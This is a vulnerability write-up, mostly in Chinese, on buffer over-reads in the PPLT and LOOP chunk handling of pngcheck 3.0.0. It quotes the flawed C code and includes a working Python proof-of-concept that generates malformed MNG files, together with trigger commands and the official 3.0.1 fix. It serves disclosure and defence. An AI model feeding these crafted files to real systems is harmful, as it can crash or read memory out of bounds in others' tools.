跳转至

Vulns in pngcheck 3.0.0

漏洞概要

pngcheck 是一个用于验证 PNG / JNG / MNG 文件格式的命令行工具。

Two buffer over-read found in pngcheck 3.0.0.

处理 PPLT LOOP 两个块时,发生越界读取:

  • PPLT 块:当last_idx < first_idx , bytes_left递增而不是递减
  • LOOP 块:未充分验证块大小 sz

漏洞原理

源码地址:http://www.libpng.org/pub/png/src/pngcheck-3.0.0.zip

PPLT

pngcheck.c
4058
4059
4060
4061
4062
4063
4064
4065
4066
4067
4068
4069
4070
4071
4072
4073
4074
4075
4076
4077
4078
4079
4080
4081
4082
4083
4084
4085
4086
4087
4088
4089
4090
4091
4092
4093
4094
4095
4096
4097
4098
4099
4100
4101
4102
4103
4104
4105
4106
4107
4108
4109
4110
4111
4112
4113
4114
4115
4116
4117
4118
4119
4120
4121
4122
4123
4124
4125
4126
4127
4128
} else if (strcmp(chunkid, "PPLT") == 0) {
  if (png || jng) {
    printf("%s  PPLT not defined in %cNG\n", verbose? ":":fname,
      png? 'P':'J');
    set_err(kMinorError);
  } else if (sz < 4 || sz > BS) {
    printf("%s  invalid %slength\n",
      verbose? ":":fname, verbose? "":"PPLT ");
    set_err(kMinorError);
  } else {
    char *plus;
    uch dtype = buffer[0];
    uch first_idx = buffer[1];
    uch last_idx = buffer[2];
    uch *buf = buffer+3;
    int bytes_left = sz-3;
    int samples, npplt = 0, nblks = 0;

    if (!verbose && printpal && !quiet)
      printf("  PPLT chunk");
    if (verbose)
      printf(": %s\n", U2NAME(dtype, pplt_delta_type));
    plus = (dtype & 1)? "+" : "";
    if (dtype < 2)
      samples = 3;
    else if (dtype < 4)
      samples = 1;
    else
      samples = 4;
    while (bytes_left > 0) {
      bytes_left -= samples*(last_idx - first_idx + 1);
      if (bytes_left < 0)
        break;
      ++nblks;
      for (i = first_idx;  i <= last_idx;  ++i, buf += samples) {
        ++npplt;
        if (printpal) {
          if (samples == 4)
            printf("    %3d:  %s(%3d,%3d,%3d,%3d) = "
              "%s(0x%02x,0x%02x,0x%02x,0x%02x)\n", i,
              plus, buf[0], buf[1], buf[2], buf[3],
              plus, buf[0], buf[1], buf[2], buf[3]);
          else if (samples == 3)
            printf("    %3d:  %s(%3d,%3d,%3d) = %s(0x%02x,0x%02x,0x%02x)\n",
              i, plus, buf[0], buf[1], buf[2],
              plus, buf[0], buf[1], buf[2]);
          else
            printf("    %3d:  %s(%3d) = %s(0x%02x)\n", i,
              plus, *buf, plus, *buf);
        }
      }
      if (bytes_left > 2) {
        first_idx = buf[0];
        last_idx = buf[1];
        buf += 2;
        bytes_left -= 2;
      } else if (bytes_left)
        break;
    }
    if (bytes_left) {
      printf("%s  invalid %slength (too %s bytes)\n",
        verbose? ":" : fname, verbose? "" : "PPLT ",
        (bytes_left < 0)? "few" : "many");
      set_err(kMinorError);
    }
    if (verbose && no_err(kMinorError))
      printf("    %d %s palette entr%s in %d block%s\n",
        npplt, (dtype & 1)? "delta" : "replacement", npplt== 1? "y":"ies",
        nblks, nblks== 1? "":"s");
  }
  last_is_IDAT = last_is_JDAT = 0;

4088 行,bytes_left 在每次循环中递减 samples*(last_idx - first_idx + 1),当 last_idx 小于 first_idx 时,samples*(last_idx - first_idx + 1) 变为负数,导致 bytes_left 在每次都递增,循环永不终止。

LOOP

3.0.1 中的漏洞

漏洞复现

poc.py
#!/usr/bin/env python3
"""
PNGCheck Vulnerability POC Generator
Generates POC files demonstrating multiple vulnerabilities in pngcheck 3.0.0:

- Global buffer over-read in PPLT chunk when last_index < first_index
- Global buffer over-read in LOOP chunk due to unchecked chunk size

Each POC can be generated individually or all at once using the 'all' option.
"""

import argparse
import pathlib
import zlib

from construct import Bytes, Const, GreedyRange, Int32ub, Struct, this

Chunk = Struct(
    "length" / Int32ub,
    "type" / Bytes(4),
    "data" / Bytes(this.length),
    "crc" / Int32ub,
)


MNG = Struct(
    "signature" / Const(b"\x8aM\x4e\x47\x0d\x0a\x1a\x0a"),
    "chunks" / GreedyRange(Chunk),
)


def create_chunk(chunk_type: bytes, chunk_data: bytes) -> dict:
    return {
        "length": len(chunk_data),
        "type": chunk_type,
        "data": chunk_data,
        "crc": zlib.crc32(chunk_type + chunk_data) & 0xFFFFFFFF,
    }


def generate_poc(
    file_format: Struct, chunks: list[tuple[bytes, bytes]], output_path: pathlib.Path
) -> None:
    file_format.build_file(
        dict(chunks=[create_chunk(*chunk) for chunk in chunks]),
        output_path,
    )


POCS = {
    # PPLT chunk
    # Command: pngcheck poc-pplt.mng
    "pplt": (
        MNG,
        [
            (b"MHDR", b"\x00\x00\x00\x01\x00\x00\x00\x01" + b"\x00" * 20),
            (
                b"PPLT",
                b"\x04"  # pplt_delta_type(1)
                + b"\xff\x00" * 64,  # (first_index(1) + last_index(1)) * 64
                # when last_idx(0x00) < first_idx(0xff), bytes_left += samples * 256
            ),
            (b"MEND", b""),
        ],
    ),
    # LOOP chunk
    # Command: pngcheck -v poc-loop.mng
    "loop": (
        MNG,
        [
            (b"MHDR", b"\x00\x00\x00\x01\x00\x00\x00\x01" + b"\x00" * 20),
            (
                b"LOOP",
                b"\x00"  # nest_level(1)
                + b"\x00\x00\x00\x01"  # iteration_count(4)
                + b"\x00"  # termination_condition(1)
                + b"\x00\x00\x00\x01" * 10000,  # Iteration_min(4) + ...
            ),
            (b"MEND", b""),
        ],
    ),
}


def main():
    parser = argparse.ArgumentParser(
        description=(
            "Generate POC files for pngcheck 3.0.0 vulnerabilities (global buffer "
            "over-read in PPLT and LOOP chunks)"
        )
    )
    parser.add_argument(
        "type",
        choices=["all"] + list(POCS.keys()),
        help="Vulnerability type to generate POC for ('all' to generate all types)",
    )
    parser.add_argument(
        "-o",
        "--output",
        type=pathlib.Path,
        help="Output file path (default: poc-<type>.mng)",
    )
    args = parser.parse_args()

    if args.type == "all":
        for poc_type, (file_format, chunks) in POCS.items():
            output_path = args.output or pathlib.Path(f"poc-{poc_type}.mng")
            print(f"Generating {poc_type} chunk vulnerability POC...")
            generate_poc(file_format, chunks, output_path)
        print("POC files generated successfully")
    else:
        file_format, chunks = POCS[args.type]
        if not args.output:
            args.output = pathlib.Path(f"poc-{args.type}.mng")
        print(f"Generating {args.type} chunk vulnerability POC...")
        generate_poc(file_format, chunks, args.output)
        print("POC file generated successfully")


if __name__ == "__main__":
    main()
$ python poc.py all

$ pngcheck -v poc-loop.mng
$ pngcheck poc-pplt.mng

漏洞修复

PPLT

官方在 v3.0.1 版本中添加 sz - samples < base 判断来修复这个漏洞。

@@ -4069,7 +4068,7 @@
         uch dtype = buffer[0];
         uch first_idx = buffer[1];
         uch last_idx = buffer[2];
-        uch *buf = buffer+3;
+        int base = 3;
         int bytes_left = sz-3;
         int samples, npplt = 0, nblks = 0;

@@ -4089,27 +4088,37 @@
           if (bytes_left < 0)
             break;
           ++nblks;
-          for (i = first_idx;  i <= last_idx;  ++i, buf += samples) {
+          for (i = first_idx;  i <= last_idx;  ++i, base += samples) {
+            if (sz - samples < base) {
+              printf("%s  implied sample outside %schunk bounds\n",
+                verbose? ":":fname, verbose? "":"PPLT ");
+              set_err(kMinorError);
+              /* break out of outer loop, and suppress additional length error */
+              bytes_left = 0;
+              break;
+            }
             ++npplt;
             if (printpal) {
               if (samples == 4)
                 printf("    %3d:  %s(%3d,%3d,%3d,%3d) = "
                   "%s(0x%02x,0x%02x,0x%02x,0x%02x)\n", i,
-                  plus, buf[0], buf[1], buf[2], buf[3],
-                  plus, buf[0], buf[1], buf[2], buf[3]);
+                  plus, buffer[base + 0], buffer[base + 1],
+                  buffer[base + 2], buffer[base + 3],
+                  plus, buffer[base + 0], buffer[base + 1],
+                  buffer[base + 2], buffer[base + 3]);
               else if (samples == 3)
                 printf("    %3d:  %s(%3d,%3d,%3d) = %s(0x%02x,0x%02x,0x%02x)\n",
-                  i, plus, buf[0], buf[1], buf[2],
-                  plus, buf[0], buf[1], buf[2]);
+                  i, plus, buffer[base + 0], buffer[base + 1], buffer[base + 2],
+                  plus, buffer[base + 0], buffer[base + 1], buffer[base + 2]);
               else
                 printf("    %3d:  %s(%3d) = %s(0x%02x)\n", i,
-                  plus, *buf, plus, *buf);
+                  plus, buffer[base], plus, buffer[base]);
             }
           }
           if (bytes_left > 2) {
-            first_idx = buf[0];
-            last_idx = buf[1];
-            buf += 2;
+            first_idx = buffer[base + 0];
+            last_idx = buffer[base + 1];
+            base += 2;
             bytes_left -= 2;
           } else if (bytes_left)
             break;

LOOP

3.0.1 中的修复方案

关于 sPLT 中的漏洞

尽管官方安全公告中提到了 sPLT 块中的漏洞,但由于 toread 大小限制和 remainder 必须正好被 entry_sz 整除的要求,实际上很难利用这个漏洞。

参考资料